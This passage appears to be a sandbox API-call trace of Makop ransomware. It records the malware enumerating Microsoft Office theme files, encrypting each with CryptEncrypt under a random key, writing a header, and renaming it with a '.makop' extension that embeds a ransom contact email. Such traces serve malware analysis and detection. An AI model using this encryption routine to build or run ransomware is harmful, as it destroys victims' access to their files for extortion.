Shared\\THEMES14\\ICE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0097.679] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.680] CloseHandle (hObject=0x138) returned 1 [0097.680] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0097.680] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0097.680] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0097.680] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST") returned 62 [0097.680] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*") returned 66 [0097.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0097.685] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.685] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0097.685] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM") returned 73 [0097.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.685] GetProcessHeap () returned 0x48a0000 [0097.685] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.686] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.686] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.686] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x7, lpOverlapped=0x0) returned 1 [0097.690] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.690] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.690] GetProcessHeap () returned 0x48a0000 [0097.690] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0097.690] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0097.690] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.690] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0097.690] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.691] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.691] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.691] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.691] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.691] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.691] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.691] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.691] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x184e9, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x184e9, lpOverlapped=0x0) returned 1 [0097.694] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x184f0, dwBufLen=0x184f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x184f0) returned 1 [0097.695] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.695] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x184f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x184f0, lpOverlapped=0x0) returned 1 [0097.696] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.696] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x185b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.696] SetEndOfFile (hFile=0x138) returned 1 [0097.705] GetProcessHeap () returned 0x48a0000 [0097.705] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0097.705] GetProcessHeap () returned 0x48a0000 [0097.705] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.705] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0097.705] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.709] CloseHandle (hObject=0x138) returned 1 [0097.710] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0097.710] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF") returned 73 [0097.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.712] GetProcessHeap () returned 0x48a0000 [0097.712] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.712] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.712] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.712] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0097.717] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.717] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.717] GetProcessHeap () returned 0x48a0000 [0097.717] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0097.717] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0097.717] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.717] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0097.718] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.718] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.718] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.718] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.718] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.719] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.719] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.719] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.719] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x225, lpOverlapped=0x0) returned 1 [0097.719] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x230, dwBufLen=0x230 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x230) returned 1 [0097.719] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.719] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x230, lpOverlapped=0x0) returned 1 [0097.719] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.720] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.720] SetEndOfFile (hFile=0x138) returned 1 [0097.726] GetProcessHeap () returned 0x48a0000 [0097.726] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0097.726] GetProcessHeap () returned 0x48a0000 [0097.726] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.726] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0097.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.732] CloseHandle (hObject=0x138) returned 1 [0097.732] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0097.733] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0097.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.733] GetProcessHeap () returned 0x48a0000 [0097.733] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.733] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.733] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.734] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x5, lpOverlapped=0x0) returned 1 [0097.738] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.738] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.738] GetProcessHeap () returned 0x48a0000 [0097.738] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.738] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.738] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.739] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.739] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.739] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.739] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.739] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.739] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.740] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.740] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.740] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.740] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x143b, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x143b, lpOverlapped=0x0) returned 1 [0097.741] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1440, dwBufLen=0x1440 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1440) returned 1 [0097.741] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.741] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1440, lpOverlapped=0x0) returned 1 [0097.742] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.742] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.742] SetEndOfFile (hFile=0x138) returned 1 [0097.749] GetProcessHeap () returned 0x48a0000 [0097.749] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.749] GetProcessHeap () returned 0x48a0000 [0097.749] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.749] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0097.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.751] CloseHandle (hObject=0x138) returned 1 [0097.751] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0097.751] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0097.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.752] GetProcessHeap () returned 0x48a0000 [0097.752] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.752] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.752] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.752] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0097.756] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.756] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.756] GetProcessHeap () returned 0x48a0000 [0097.756] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.756] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.757] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.757] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.757] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.757] WriteFile (in: 